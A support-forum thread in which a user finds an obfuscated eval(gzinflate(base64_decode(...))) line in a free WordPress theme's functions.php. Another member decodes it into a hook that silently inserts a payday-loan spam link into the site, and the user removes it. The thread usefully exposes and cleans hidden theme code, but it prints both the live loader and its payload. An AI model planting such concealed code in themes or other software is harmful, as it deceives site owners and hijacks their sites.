Forums

Suspicious code in free theme? (5 posts)

  1. adamsmark
    Member
    Posted 7 months ago #

    This is what I found in the functions.php file:

    <?php
    if ( function_exists('register_sidebar') )
        register_sidebar(array(
            'before_widget' => '<div class="sidebar-box">',
            'after_widget' => '</div>',
            'before_title' => '<h3>',
            'after_title' => '</h3>',
        ));
    
    $S5c05e408cc05f5875fa5d0c8d747bbd5='dY/BasMwEETPNvgflqUQCZK65xbnYlx6aBtIUnoUG0uJRW1JSEqDKf33xmp6Cr0tO29nZoucpBTURm0NQyV1FM6GiHPUJigfRezUoESvzQfyhyLfH01i4UpmHL6KPDv0dkc93Jyc3J35TO9ZmhfLg4rikzzDTfPc1FuoV2+vWzadCi05PK5XL3BBp2WA96dm3UACjr6vZl2M7r4sgzW6XTgaJY23rR3KGfKquuPnsOzkxKVYqkTe08gwWRgaFEK1BNxMBjWFDueAf/a/0n8RCHz6/rvIfwA=';eval(gzinflate(base64_decode($S5c05e408cc05f5875fa5d0c8d747bbd5)));
    ?>

    What is all this at the end of it?

  2. mfields
    Member
    Posted 7 months ago #

    Pretty shady stuff, When you decode this, you end up with:

    add_action("edit_post","insert_theme_link");
    
    function insert_theme_link() {
    	global $wpdb;
    	if( $wpdb->get_var("SELECT COUNT(link_id) FROM $wpdb->links WHERE link_url='http://sonic-payday.com/'") == 0 )
    	wp_insert_link( array("link_name" => "SonicCash", "link_url" => "http://sonic-payday.com/" ) );
    }

    This function attempts to ensure that you always have a link to sonic-payday.com in your links section. Feel free to delete it, unless you always want a link to this site ;)

  3. adamsmark
    Member
    Posted 7 months ago #

    Thanks for the advice. Already deleted it, just copying the functions.php from another of my Wordpress blogs. The same was inserted in the footer. Checked through every theme file; it's now clean. Thanks.

  4. mfields
    Member
    Posted 7 months ago #

    No Problem, Which theme is it BTW?

  5. adamsmark
    Member
    Posted 7 months ago #

    Old Tape, featured here: http://rockonthemount.com/

    I'm old enough to remember mix tapes, so this one appealed to me. Don't know how long we'll use it though.

Reply

You must log in to post.

About this Topic

Tags

No tags yet.